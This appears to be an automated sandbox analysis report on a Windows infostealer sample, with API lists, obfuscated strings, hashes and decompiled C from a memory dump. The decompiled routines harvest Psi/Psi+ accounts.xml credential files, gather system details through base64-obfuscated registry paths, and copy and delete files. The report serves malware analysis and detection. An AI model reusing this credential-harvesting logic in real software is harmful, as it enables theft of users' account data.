Process32FirstW.KERNEL32(00000000,0000022C), ref: 004163AB
Process32NextW.KERNEL32(00000000,?), ref: 0041641A
FindCloseChangeNotification.KERNEL32(00000000), ref: 00416428
GetCurrentProcessId.KERNEL32(?,-00000001,?,?,?,00416BAE,?,00000001,,?,?,,?,Zone: ,?,00416CA4), ref: 004164A6

Strings

Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90, xrefs: 004162E5
UHJvY2VzczMyRmlyc3RX, xrefs: 00416313
kernel32.dll, xrefs: 004162FB, 00416329
UHJvY2VzczMyTmV4dFc=, xrefs: 00416341
a2VybmVsMzIuZGxs, xrefs: 0041635D

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressLibraryLoadProc$Process32$ChangeCloseCreateCurrentFindFirstNextNotificationProcessSnapshotToolhelp32
String ID: Q3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90$UHJvY2VzczMyRmlyc3RX$UHJvY2VzczMyTmV4dFc=$a2VybmVsMzIuZGxs$kernel32.dll
API String ID: 1800246685-4127804628
Opcode ID: 75ce460ff0779b10ec912f8cf19e568990f1a17f91b86831e489d1506f36fb5d
Instruction ID: 2c13e8732db89e5f4feef8cb650b0c3b12524099063521553718e4477c38e71b
Opcode Fuzzy Hash: 75ce460ff0779b10ec912f8cf19e568990f1a17f91b86831e489d1506f36fb5d
Instruction Fuzzy Hash: 779185709001199BCB10EFA9C985ADEB7B9FF84304F2181BAE509B7291D739DF858F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040D988, Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 240
fileCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0040D988(intOrPtr __eax, void* __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				void* _v12;
				char _v16;
				struct _WIN32_FIND_DATAW _v608;
				char _v612;
				intOrPtr _v616;
				char _v620;
				char _v624;
				char _v628;
				intOrPtr _v632;
				char _v636;
				char _v640;
				char _v644;
				intOrPtr _v648;
				char _v652;
				char _v656;
				char _v660;
				intOrPtr _v664;
				char _v668;
				char _v672;
				void* _t84;
				intOrPtr* _t87;
				void* _t89;
				intOrPtr* _t95;
				void* _t125;
				intOrPtr* _t128;
				intOrPtr* _t136;
				void* _t138;
				void* _t176;
				intOrPtr _t201;
				intOrPtr _t206;
				intOrPtr _t207;
				void* _t218;
				intOrPtr _t220;
				void* _t225;
				intOrPtr _t227;
				intOrPtr _t231;
				intOrPtr _t232;

				_t229 = __esi;
				_t228 = __edi;
				_t175 = __ebx;
				_t231 = _t232;
				_t176 = 0x53;
				do {
					_push(0);
					_push(0);
					_t176 = _t176 - 1;
					_t233 = _t176;
				} while (_t176 != 0);
				_push(_t176);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v8 = __eax;
				_push(_t231);
				_push(0x40dd42);
				_push( *[fs:eax]);
				 *[fs:eax] = _t232;
				E004034E4(_v8);
				E004062FC(L"%Appdata%\\Psi+\\profiles\\",  &_v16, _t233);
				_push(_t231);
				_push(0x40db2b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t232;
				E00403E14( &_v612, L"\\*.*", _v16, _t233);
				_t84 = FindFirstFileW(E00403D98(_v612),  &_v608); // executed
				_v12 = _t84;
				while(1) {
					_t87 =  *0x41b198; // 0x41c6b8
					_t89 =  *((intOrPtr*)( *_t87))(_v12,  &_v608);
					_t234 = _t89;
					if(_t89 == 0) {
						break;
					}
					E00403D6C( &_v620, 0x104,  &(_v608.cFileName));
					E00403E78();
					_t95 =  *0x41b358; // 0x41c698
					__eflags =  *((intOrPtr*)( *_t95))(E00403D98(_v616), L"\\accounts.xml", _v620, _v16) - 0xffffffff;
					if(__eflags != 0) {
						_push(_t231);
						_push(0x40dafb);
						_push( *[fs:eax]);
						 *[fs:eax] = _t232;
						_push( &_v624);
						_push(_v16);
						E00403D6C( &_v636, 0x104,  &(_v608.cFileName));
						_push(_v636);
						_push(L"\\accounts.xml");
						E00403E78();
						E00407228(_v632, _t175,  &_v628);
						_push(_v628);
						E00403760( &_v640, 0x104,  &(_v608.cFileName));
						_pop(_t225);
						E0040D5D4(_v640, _t175, "PsiPlus", _t225, _t228, _t229);
						E00403798(_v8, _v624);
						_pop(_t227);
						 *[fs:eax] = _t227;
					}
				}
				_pop(_t201);
				 *[fs:eax] = _t201;
				E004062FC(L"%Appdata%\\Psi\\profiles\\",  &_v16, _t234);
				_push(_t231);
				_push(0x40dcac);
				_push( *[fs:eax]);
				 *[fs:eax] = _t232;
				E00403E14( &_v644, L"\\*.*", _v16, _t234);
				_t125 = FindFirstFileW(E00403D98(_v644),  &_v608); // executed
				_v12 = _t125;
				while(1) {
					_push( &_v608);
					_push(_v12);
					_t128 =  *0x41b198; // 0x41c6b8
					if( *((intOrPtr*)( *_t128))() == 0) {
						break;
					}
					E00403D6C( &_v652, 0x104,  &(_v608.cFileName));
					E00403E78();
					_t136 =  *0x41b358; // 0x41c698
					_t138 =  *((intOrPtr*)( *_t136))(E00403D98(_v648), L"\\accounts.xml", _v652, _v16);
					__eflags = _t138 - 0xffffffff;
					if(_t138 != 0xffffffff) {
						_push(_t231);
						_push(0x40dc7c);
						_push( *[fs:eax]);
						 *[fs:eax] = _t232;
						_push( &_v656);
						_push(_v16);
						E00403D6C( &_v668, 0x104,  &(_v608.cFileName));
						_push(_v668);
						_push(L"\\accounts.xml");
						E00403E78();
						E00407228(_v664, _t175,  &_v660);
						_push(_v660);
						E00403760( &_v672, 0x104,  &(_v608.cFileName));
						_pop(_t218);
						E0040D5D4(_v672, _t175, 0x40de08, _t218, _t228, _t229);
						E00403798(_v8, _v656);
						_pop(_t220);
						 *[fs:eax] = _t220;
					}
				}
				_pop(_t206);
				 *[fs:eax] = _t206;
				_pop(_t207);
				 *[fs:eax] = _t207;
				_push(E0040DD4C);
				E004034E4( &_v672);
				E00403BF4( &_v668, 2);
				E00403508( &_v660, 2);
				E00403BF4( &_v652, 3);
				E004034E4( &_v640);
				E00403BF4( &_v636, 2);
				E00403508( &_v628, 2);
				E00403BF4( &_v620, 3);
				return E00403BDC( &_v16);
			}

0x0040d988
0x0040d988
0x0040d988
0x0040d989
0x0040d98b
0x0040d990
0x0040d990
0x0040d992
0x0040d994
0x0040d994
0x0040d994
0x0040d997
0x0040d998
0x0040d999
0x0040d99a
0x0040d99b
0x0040d9a0
0x0040d9a1
0x0040d9a6
0x0040d9a9
0x0040d9af
0x0040d9bc
0x0040d9c3
0x0040d9c4
0x0040d9c9
0x0040d9cc
0x0040d9e4
0x0040d9fc
0x0040d9fe
0x0040db05
0x0040db10
0x0040db17
0x0040db19
0x0040db1b
0x00000000
0x00000000
0x0040da1a
0x0040da35
0x0040da46
0x0040da4f
0x0040da52
0x0040da5a
0x0040da5b
0x0040da60
0x0040da63
0x0040da6c
0x0040da6d
0x0040da81
0x0040da86
0x0040da8c
0x0040da9c
0x0040daad
0x0040dab8
0x0040daca
0x0040dada
0x0040dadb
0x0040dae9
0x0040daf3
0x0040daf6
0x0040daf6
0x0040da52
0x0040db23
0x0040db26
0x0040db3d
0x0040db44
0x0040db45
0x0040db4a
0x0040db4d
0x0040db65
0x0040db7d
0x0040db7f
0x0040dc86
0x0040dc8c
0x0040dc90
0x0040dc91
0x0040dc9c
0x00000000
0x00000000
0x0040db9b
0x0040dbb6
0x0040dbc7
0x0040dbce
0x0040dbd0
0x0040dbd3
0x0040dbdb
0x0040dbdc
0x0040dbe1
0x0040dbe4
0x0040dbed
0x0040dbee
0x0040dc02
0x0040dc07
0x0040dc0d
0x0040dc1d
0x0040dc2e
0x0040dc39
0x0040dc4b
0x0040dc5b
0x0040dc5c
0x0040dc6a
0x0040dc74
0x0040dc77
0x0040dc77
0x0040dbd3
0x0040dca4
0x0040dca7
0x0040dcb8
0x0040dcbb
0x0040dcbe
0x0040dcc9
0x0040dcd9
0x0040dce9
0x0040dcf9
0x0040dd04
0x0040dd14
0x0040dd24
0x0040dd34
0x0040dd41

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,0040DB2B,?,00000000,0040DD42,?,00000000,?,00000000,00000052,00000000,00000000,?,0040E22C), ref: 0040D9FC
FindFirstFileW.KERNEL32(00000000,?,00000000,0040DCAC,?,0040DD42,?,00000000,?,00000000,00000052,00000000,00000000,?,0040E22C,00000000), ref: 0040DB7D

Part of subcall function 00407228: GetFileAttributesW.KERNEL32(00000000,00000000,00000000,00407353,?,?), ref: 00407274
Part of subcall function 00407228: CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,?,?), ref: 0040728A
Part of subcall function 00407228: GetFileAttributesW.KERNEL32(00000000,00000000,?,?), ref: 0040729F
Part of subcall function 00407228: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,?,?), ref: 004072B5

Strings

\*.*, xrefs: 0040D9DC, 0040DB5D
%Appdata%\Psi\profiles\, xrefs: 0040DB38
%Appdata%\Psi+\profiles\, xrefs: 0040D9B7
PsiPlus, xrefs: 0040DAD5
\accounts.xml, xrefs: 0040DA25, 0040DA8C, 0040DBA6, 0040DC0D
Psi, xrefs: 0040DC56

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$AttributesCreateFindFirst
String ID: %Appdata%\Psi+\profiles\$%Appdata%\Psi\profiles\$Psi$PsiPlus$\*.*$\accounts.xml
API String ID: 1956969033-1040989774
Opcode ID: 2a81cae0dcbc1482604e5349c18fe2c49d0dbde7bdfa7da4062947d316a445e7
Instruction ID: f17b77acd2409bcf6ac3a803ffb13a621a441686efa256e2204c39e6a2df67d3
Opcode Fuzzy Hash: 2a81cae0dcbc1482604e5349c18fe2c49d0dbde7bdfa7da4062947d316a445e7
Instruction Fuzzy Hash: 19A13D34A04219AFDB11EBA5CC95A9DB7BDEF49304F5085F6A408B3291DB38AF498F14

Uniqueness

Uniqueness Score: -1.00%

Function 00415E44, Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E00415E44(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				struct _SYSTEM_INFO _v40;
				intOrPtr _v44;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				intOrPtr _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr* _t90;
				void* _t91;
				void* _t92;
				intOrPtr _t111;
				intOrPtr _t118;
				intOrPtr _t119;

				_t116 = __esi;
				_t115 = __edi;
				_t118 = _t119;
				_t91 = 0xb;
				do {
					_push(0);
					_push(0);
					_t91 = _t91 - 1;
					_t120 = _t91;
				} while (_t91 != 0);
				_t90 = __eax;
				_push(_t118);
				_push(0x415fd0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t119;
				GetSystemInfo( &_v40); // executed
				E00403D88( &_v48,  *_t90);
				_push(_v48);
				_push(L"CPU Model: ");
				_push(0);
				_push( &_v52);
				E004069A8("UHJvY2Vzc29yTmFtZVN0cmluZw==", _t90,  &_v60, __edi, __esi);
				E00403D88( &_v56, _v60);
				_push(_v56);
				E004069A8("SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==", _t90,  &_v68, __edi, __esi);
				E00403D88( &_v64, _v68);
				_pop(_t92); // executed
				E004075C0(0x80000002, _t90, _t92, _v64); // executed
				_push(_v52);
				_push(0x416070);
				E00403E78();
				E0040377C(_t90, _v44);
				E004037DC( &_v80, "CPU Count: ",  *_t90);
				E00403D88( &_v76, _v80);
				_push(_v76);
				E0040709C(_v40.dwNumberOfProcessors, _t90,  &_v84, _t116, _t120);
				_push(_v84);
				_push(0x416070);
				E00403E78();
				E0040377C(_t90, _v72);
				_push( *_t90);
				_push("GetRAM: ");
				E00415CA0( &_v88, _t90, _t116, _t120); // executed
				_push(_v88);
				_push(0x4160a8);
				E00403850();
				_push( *_t90);
				_push("Video Info\r\n");
				E00415D60( &_v92, _t90, _t115, _t116);
				_push(_v92);
				E00403850();
				_t111 = 0x4160a8;
				 *[fs:eax] = _t111;
				_push(E00415FD7);
				E00403508( &_v92, 2);
				E00403BDC( &_v84);
				E004034E4( &_v80);
				E00403BF4( &_v76, 2);
				E004034E4( &_v68);
				E00403BDC( &_v64);
				E004034E4( &_v60);
				return E00403BF4( &_v56, 4);
			}

0x00415e44
0x00415e44
0x00415e45
0x00415e47
0x00415e4c
0x00415e4c
0x00415e4e
0x00415e50
0x00415e50
0x00415e50
0x00415e54
0x00415e58
0x00415e59
0x00415e5e
0x00415e61
0x00415e68
0x00415e72
0x00415e77
0x00415e7a
0x00415e7f
0x00415e84
0x00415e8d
0x00415e98
0x00415ea0
0x00415ea9
0x00415eb4
0x00415ec1
0x00415ec2
0x00415ec7
0x00415eca
0x00415ed7
0x00415ee1
0x00415ef0
0x00415efb
0x00415f00
0x00415f09
0x00415f0e
0x00415f11
0x00415f1e
0x00415f28
0x00415f2d
0x00415f2f
0x00415f37
0x00415f3c
0x00415f3f
0x00415f4b
0x00415f50
0x00415f52
0x00415f5a
0x00415f5f
0x00415f6e
0x00415f75
0x00415f78
0x00415f7b
0x00415f88
0x00415f90
0x00415f98
0x00415fa5
0x00415fad
0x00415fb5
0x00415fbd
0x00415fcf

APIs

GetSystemInfo.KERNEL32(0041985E,00000000,00415FD0,?,?,00000000,00000000,?,00416B89,?,,?,Zone: ,?,00416CA4,?), ref: 00415E68

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Strings

CPU Count: , xrefs: 00415EEB
CPU Model: , xrefs: 00415E7A
Video Info, xrefs: 00415F52
SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==, xrefs: 00415EA4
GetRAM: , xrefs: 00415F2F
UHJvY2Vzc29yTmFtZVN0cmluZw==, xrefs: 00415E88

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeString$InfoSystem
String ID: CPU Count: $CPU Model: $GetRAM: $SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA==$UHJvY2Vzc29yTmFtZVN0cmluZw==$Video Info
API String ID: 4070941872-1038824218
Opcode ID: eb1c6aa0af2ce8899b3b6d016b24d5799cde43c94ed9d669a7b4ea933eba3ddd
Instruction ID: 6ee615b5186dd69ea9a83c9e9698d3011ce36d6a126617133cf52e038528ef4b
Opcode Fuzzy Hash: eb1c6aa0af2ce8899b3b6d016b24d5799cde43c94ed9d669a7b4ea933eba3ddd
Instruction Fuzzy Hash: 9941F174A00108ABCB01EFD1D842FCDBBB9AF48305F51413BF504B7296D678EA468B59

Uniqueness

Uniqueness Score: -1.00%

Function 004099C0, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(6DEE0000,00000000,00409B45,?,?,?,?,004194E2), ref: 00409A0B
FindFirstFileW.KERNEL32(00000000,?,6DEE0000,00000000,00409B45,?,?,?,?,004194E2), ref: 00409A3A
DeleteFileW.KERNEL32(00000000,?,00409B78,?,?,?,?,004194E2), ref: 00409ACF
FindNextFileW.KERNELBASE(00000000,?,?,?,?,?,004194E2), ref: 00409ADA
SetCurrentDirectoryW.KERNEL32(00000000,?,?,?,?,004194E2), ref: 00409B11
RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,004194E2), ref: 00409B25

Strings

%TEMP%\, xrefs: 00409AF4

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$DirectoryFind$CurrentDeleteFirstFreeLibraryNextRemove
String ID: %TEMP%\
API String ID: 24694787-2282305525
Opcode ID: 11fa1f0f00714e7660f20e69478878c6a586d9b7bbece6cda1cdb215f0d1b957
Instruction ID: dc35ce041a643583f5f8d8bd1e87a628f97aff475ff8516c22ff3c130ece2fe8
Opcode Fuzzy Hash: 11fa1f0f00714e7660f20e69478878c6a586d9b7bbece6cda1cdb215f0d1b957
Instruction Fuzzy Hash: 204110746006199FC750EF69DC85A8AB7F9EF89305F0081B6A408F33A1DB74AE45CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9E3, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 128
fileCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E0040A9E3(char __eax, void* __ebx, intOrPtr* __ecx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				intOrPtr* _v16;
				void* _v20;
				intOrPtr _v117;
				struct _WIN32_FIND_DATAW _v612;
				char _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				void* _t61;
				intOrPtr* _t64;
				void* _t67;
				int _t72;
				intOrPtr* _t90;
				intOrPtr _t112;
				void* _t118;
				intOrPtr _t120;
				void* _t124;
				void* _t125;
				intOrPtr _t126;

				_t122 = __esi;
				_t121 = __edi;
				_v117 = _v117 + __edx;
				_t124 = _t125;
				_t126 = _t125 + 0xfffffd84;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v628 = 0;
				_v632 = 0;
				_v636 = 0;
				_v640 = 0;
				_v620 = 0;
				_v624 = 0;
				_v616 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				_push(_t124);
				_push(0x40abd6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t126;
				E00403BDC(_v16);
				E00403E14( &_v616, L"\\*.*", _v8, 0);
				_t61 = FindFirstFileW(E00403D98(_v616),  &_v612); // executed
				_v20 = _t61;
				do {
					_push(_v8);
					_push(E0040ABF8);
					E00403D6C( &_v624, 0x104,  &(_v612.cFileName));
					_push(_v624);
					_push(E0040ABF8);
					_t64 =  *0x41b3d8; // 0x41c918
					_push( *_t64);
					E00403E78();
					_t67 = E0040776C(_v620, 0, 0x104); // executed
					if(_t67 != 0) {
						_push(_t124);
						_push(0x40ab78);
						_push( *[fs:eax]);
						 *[fs:eax] = _t126;
						_push( *_v16);
						_push( &_v628);
						E00403D6C( &_v632, 0x104,  &(_v612.cFileName));
						_push(_v632);
						_push(_v8);
						_push(E0040ABF8);
						E00403D6C( &_v640, 0x104,  &(_v612.cFileName));
						_push(_v640);
						_push(E0040ABF8);
						_t90 =  *0x41b3d8; // 0x41c918
						_push( *_t90);
						E00403E78();
						_pop(_t118); // executed
						E0040A6F0(_v636, 0, _v12, _t118, _t121, _t122); // executed
						_push(_v628);
						_push(E0040AC00);
						E00403E78();
						_pop(_t120);
						 *[fs:eax] = _t120;
					}
					_t72 = FindNextFileW(_v20,  &_v612); // executed
				} while (_t72 != 0);
				FindClose(_v20); // executed
				_pop(_t112);
				 *[fs:eax] = _t112;
				_push(E0040ABDD);
				E00403BF4( &_v640, 7);
				return E00403BF4( &_v12, 2);
			}

0x0040a9e3
0x0040a9e3
0x0040a9e3
0x0040a9e5
0x0040a9e7
0x0040a9ed
0x0040a9ee
0x0040a9ef
0x0040a9f2
0x0040a9f8
0x0040a9fe
0x0040aa04
0x0040aa0a
0x0040aa10
0x0040aa16
0x0040aa1c
0x0040aa1f
0x0040aa22
0x0040aa28
0x0040aa30
0x0040aa37
0x0040aa38
0x0040aa3d
0x0040aa40
0x0040aa46
0x0040aa60
0x0040aa78
0x0040aa7a
0x0040aa7d
0x0040aa7d
0x0040aa80
0x0040aa96
0x0040aa9b
0x0040aaa1
0x0040aaa6
0x0040aaab
0x0040aab8
0x0040aac3
0x0040aaca
0x0040aad2
0x0040aad3
0x0040aad8
0x0040aadb
0x0040aae1
0x0040aae9
0x0040aafb
0x0040ab06
0x0040ab07
0x0040ab0a
0x0040ab20
0x0040ab25
0x0040ab2b
0x0040ab30
0x0040ab35
0x0040ab42
0x0040ab50
0x0040ab51
0x0040ab56
0x0040ab5c
0x0040ab69
0x0040ab70
0x0040ab73
0x0040ab73
0x0040ab94
0x0040ab96
0x0040aba9
0x0040abad
0x0040abb0
0x0040abb3
0x0040abc3
0x0040abd5

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

FindFirstFileW.KERNEL32(00000000,?,00000000,0040ABD6,?,00000000,?,00000000,?,0040AC55,00000000,0040B121,?,00000000,00000000), ref: 0040AA78

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

FindNextFileW.KERNELBASE(00000000,?,0041C918,0040ABF8,?,0040ABF8,0041A212,?,00000000,?,00000000,?,0040AC55,00000000,0040B121), ref: 0040AB94
FindClose.KERNEL32(00000000,?,00000000,?,00000000,?,0040AC55,00000000,0040B121,?,00000000,00000000,?,0040E205,00000000,0040E24F), ref: 0040ABA9

Part of subcall function 0040A6F0: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0040A9D4,?,.tmp,?,?,?,00000000,00000009,00000000,00000000,?), ref: 0040A7C3

Strings

\*.*, xrefs: 0040AA58

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$Find$String$AllocAttributesCloseCopyFirstFreeNext
String ID: \*.*
API String ID: 388414203-1173974218
Opcode ID: ad951eb6546ff03af2cf1b3769f9a1ab174b4d73511c60989db9420c95749ee6
Instruction ID: de91451124f38c0ed1d727ca6b9dde3f7f5292e6ae3a04e1642b20c07aa1ed30
Opcode Fuzzy Hash: ad951eb6546ff03af2cf1b3769f9a1ab174b4d73511c60989db9420c95749ee6
Instruction Fuzzy Hash: EE512B30A042199FCB10EFA5CC85A9DBBB9EB48304F5041FAA518B32A0D739AF95DF15

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9E4, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 128
fileCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E0040A9E4(char __eax, void* __ebx, intOrPtr* __ecx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				intOrPtr* _v16;
				void* _v20;
				struct _WIN32_FIND_DATAW _v612;
				char _v616;
				char _v620;
				char _v624;
				char _v628;
				char _v632;
				char _v636;
				char _v640;
				void* _t59;
				intOrPtr* _t62;
				void* _t65;
				int _t70;
				intOrPtr* _t88;
				intOrPtr _t110;
				void* _t116;
				intOrPtr _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t124;

				_t120 = __esi;
				_t119 = __edi;
				_t122 = _t123;
				_t124 = _t123 + 0xfffffd84;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v628 = 0;
				_v632 = 0;
				_v636 = 0;
				_v640 = 0;
				_v620 = 0;
				_v624 = 0;
				_v616 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				_push(_t122);
				_push(0x40abd6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t124;
				E00403BDC(_v16);
				E00403E14( &_v616, L"\\*.*", _v8, 0);
				_t59 = FindFirstFileW(E00403D98(_v616),  &_v612); // executed
				_v20 = _t59;
				do {
					_push(_v8);
					_push(E0040ABF8);
					E00403D6C( &_v624, 0x104,  &(_v612.cFileName));
					_push(_v624);
					_push(E0040ABF8);
					_t62 =  *0x41b3d8; // 0x41c918
					_push( *_t62);
					E00403E78();
					_t65 = E0040776C(_v620, 0, 0x104); // executed
					if(_t65 != 0) {
						_push(_t122);
						_push(0x40ab78);
						_push( *[fs:eax]);
						 *[fs:eax] = _t124;
						_push( *_v16);
						_push( &_v628);
						E00403D6C( &_v632, 0x104,  &(_v612.cFileName));
						_push(_v632);
						_push(_v8);
						_push(E0040ABF8);
						E00403D6C( &_v640, 0x104,  &(_v612.cFileName));
						_push(_v640);
						_push(E0040ABF8);
						_t88 =  *0x41b3d8; // 0x41c918
						_push( *_t88);
						E00403E78();
						_pop(_t116); // executed
						E0040A6F0(_v636, 0, _v12, _t116, _t119, _t120); // executed
						_push(_v628);
						_push(E0040AC00);
						E00403E78();
						_pop(_t118);
						 *[fs:eax] = _t118;
					}
					_t70 = FindNextFileW(_v20,  &_v612); // executed
				} while (_t70 != 0);
				FindClose(_v20); // executed
				_pop(_t110);
				 *[fs:eax] = _t110;
				_push(E0040ABDD);
				E00403BF4( &_v640, 7);
				return E00403BF4( &_v12, 2);
			}

0x0040a9e4
0x0040a9e4
0x0040a9e5
0x0040a9e7
0x0040a9ed
0x0040a9ee
0x0040a9ef
0x0040a9f2
0x0040a9f8
0x0040a9fe
0x0040aa04
0x0040aa0a
0x0040aa10
0x0040aa16
0x0040aa1c
0x0040aa1f
0x0040aa22
0x0040aa28
0x0040aa30
0x0040aa37
0x0040aa38
0x0040aa3d
0x0040aa40
0x0040aa46
0x0040aa60
0x0040aa78
0x0040aa7a
0x0040aa7d
0x0040aa7d
0x0040aa80
0x0040aa96
0x0040aa9b
0x0040aaa1
0x0040aaa6
0x0040aaab
0x0040aab8
0x0040aac3
0x0040aaca
0x0040aad2
0x0040aad3
0x0040aad8
0x0040aadb
0x0040aae1
0x0040aae9
0x0040aafb
0x0040ab06
0x0040ab07
0x0040ab0a
0x0040ab20
0x0040ab25
0x0040ab2b
0x0040ab30
0x0040ab35
0x0040ab42
0x0040ab50
0x0040ab51
0x0040ab56
0x0040ab5c
0x0040ab69
0x0040ab70
0x0040ab73
0x0040ab73
0x0040ab94
0x0040ab96
0x0040aba9
0x0040abad
0x0040abb0
0x0040abb3
0x0040abc3
0x0040abd5

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

FindFirstFileW.KERNEL32(00000000,?,00000000,0040ABD6,?,00000000,?,00000000,?,0040AC55,00000000,0040B121,?,00000000,00000000), ref: 0040AA78

Part of subcall function 0040776C: GetFileAttributesW.KERNEL32(00000000,00000000,004077B8,?,0041CA58,?,?,004096E8,00000000,00000000,00000000,00409963,?,?,?,00000000), ref: 0040779A

FindNextFileW.KERNELBASE(00000000,?,0041C918,0040ABF8,?,0040ABF8,0041A212,?,00000000,?,00000000,?,0040AC55,00000000,0040B121), ref: 0040AB94
FindClose.KERNEL32(00000000,?,00000000,?,00000000,?,0040AC55,00000000,0040B121,?,00000000,00000000,?,0040E205,00000000,0040E24F), ref: 0040ABA9

Part of subcall function 0040A6F0: CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0040A9D4,?,.tmp,?,?,?,00000000,00000009,00000000,00000000,?), ref: 0040A7C3

Strings

\*.*, xrefs: 0040AA58

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$Find$String$AllocAttributesCloseCopyFirstFreeNext
String ID: \*.*
API String ID: 388414203-1173974218
Opcode ID: e223169ef53284f76e25f729e8ad9c0df4eb29ae2278a98e0905e0cecc15edf0
Instruction ID: 3000cf386e1528323af5e321c443dffa09c16ee593a4eb6ed7bedf03be481240
Opcode Fuzzy Hash: e223169ef53284f76e25f729e8ad9c0df4eb29ae2278a98e0905e0cecc15edf0
Instruction Fuzzy Hash: C8512B30A042199FCB10EFA5CC85A9DBBB9FB48304F5041FAA518B32A0D735AF90DF15

Uniqueness

Uniqueness Score: -1.00%

Function 00409EE8, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 335
fileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E00409EE8(intOrPtr* __eax, void* __ebx, void* __ecx, char __edx, void* __edi, void* __esi, char _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				void* _v28;
				char _v29;
				char _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				intOrPtr _v60;
				void* _v64;
				char _v68;
				struct _WIN32_FIND_DATAW _v660;
				char _v664;
				intOrPtr _v668;
				char _v672;
				intOrPtr _v676;
				char _v680;
				char _v684;
				char _v688;
				intOrPtr _v692;
				intOrPtr _v696;
				char _v700;
				void* _t141;
				intOrPtr* _t144;
				long _t150;
				intOrPtr* _t153;
				intOrPtr* _t157;
				intOrPtr* _t176;
				intOrPtr* _t182;
				intOrPtr* _t188;
				void* _t199;
				intOrPtr* _t203;
				intOrPtr* _t206;
				intOrPtr* _t210;
				void* _t212;
				intOrPtr* _t229;
				void* _t231;
				intOrPtr* _t250;
				void* _t252;
				intOrPtr* _t264;
				intOrPtr* _t267;
				void* _t280;
				intOrPtr _t282;
				intOrPtr _t307;
				intOrPtr _t310;
				intOrPtr _t312;
				intOrPtr _t313;
				void* _t339;
				void* _t341;
				signed int _t343;
				intOrPtr _t345;
				intOrPtr _t346;
				intOrPtr _t347;
				void* _t348;

				_t342 = __esi;
				_t337 = __edi;
				_t278 = __ebx;
				 *((intOrPtr*)(__eax +  *__eax)) =  *((intOrPtr*)(__eax +  *__eax)) + __eax +  *__eax;
				_t345 = _t346;
				_t282 = 0x56;
				do {
					_push(0);
					_push(0);
					_t282 = _t282 - 1;
				} while (_t282 != 0);
